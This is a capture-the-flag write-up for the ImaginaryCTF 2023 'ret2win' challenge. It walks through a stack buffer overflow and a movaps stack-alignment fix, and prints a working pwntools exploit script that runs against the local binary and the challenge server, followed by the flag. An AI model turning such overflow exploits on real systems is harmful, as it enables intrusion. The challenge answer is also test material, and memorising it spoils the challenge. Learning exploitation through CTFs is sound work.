ImaginaryCTF 2023 - ret2win

Posted on Dec 18, 2023
tl;dr: Can you overflow the buffer and get the flag?

ret2win

Can you overflow the buffer and get the flag? (Hint: if your exploit isn’t working on the remote server, look into stack alignment)

Attachments https://imaginaryctf.org/r/BoCID#vuln https://imaginaryctf.org/r/73iLJ#vuln.c nc ret2win.chal.imaginaryctf.org 1337

lets find where the entrypoint to the function win is

0040117a

RIP

padding until we overwrite stack pointer

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100

setting a breakpointin edb at the ret on the end of main we see that this leads to

return to 0x3434343334323431

checking for any security hardening in the executable

We try to use hardening-check to see what is enabled

hardening-check vuln
vuln:
 Position Independent Executable: no, normal executable!
 Stack protected: no, not found!
 Fortify Source functions: no, only unprotected functions found!
 Read-only relocations: yes
 Immediate binding: no, not found!
 Stack clash protection: unknown, no -fstack-clash-protection instructions found
 Control flow integrity: yes

Executing the win function

doing just ./vuln <<< $(python -c "print(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz\x11@\x00\x00\x00\x00\x00'.decode())"

we see

==3974== Process terminating with default action of signal 11 (SIGSEGV)
==3974==  General Protection Fault
==3974==    at 0x48B3603: do_system (system.c:148)
==3974==    by 0x401195: win (in /mnt/ctfa/ret2win/vuln)

most likely we are having problems with stack aligment this exploit works but segfaults on movaps instruction when executing the libc system

https://ropemporium.com/guide.html

The MOVAPS issue. If you’re segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

so lets just skip this initial push to ebp by adding 8 to the adress skipping some initial instructions of the win function

#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("vuln", checksec=False)
print(elf)
print(elf.sym)
ret2win = elf.sym["win"]
print(ret2win)
pattern = cyclic(1024)
print(pattern)

offset = len("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

log.info(f"{offset = }")

#--------ret2text--------#

ret2win = elf.sym["win"]
print(hex(ret2win+8))
payload = flat(
    b"\x00"*offset,
    p64(ret2win+8),
)
print(payload)

p = elf.process()

p.sendline(payload)
s = p.recvline()
print(s)
conn = remote('ret2win.chal.imaginaryctf.org',1337)
s = conn.recvline()
print(s)
conn.sendline(payload)
s = conn.recvline()
print(s)

ictf{r3turn_0f_th3_k1ng?}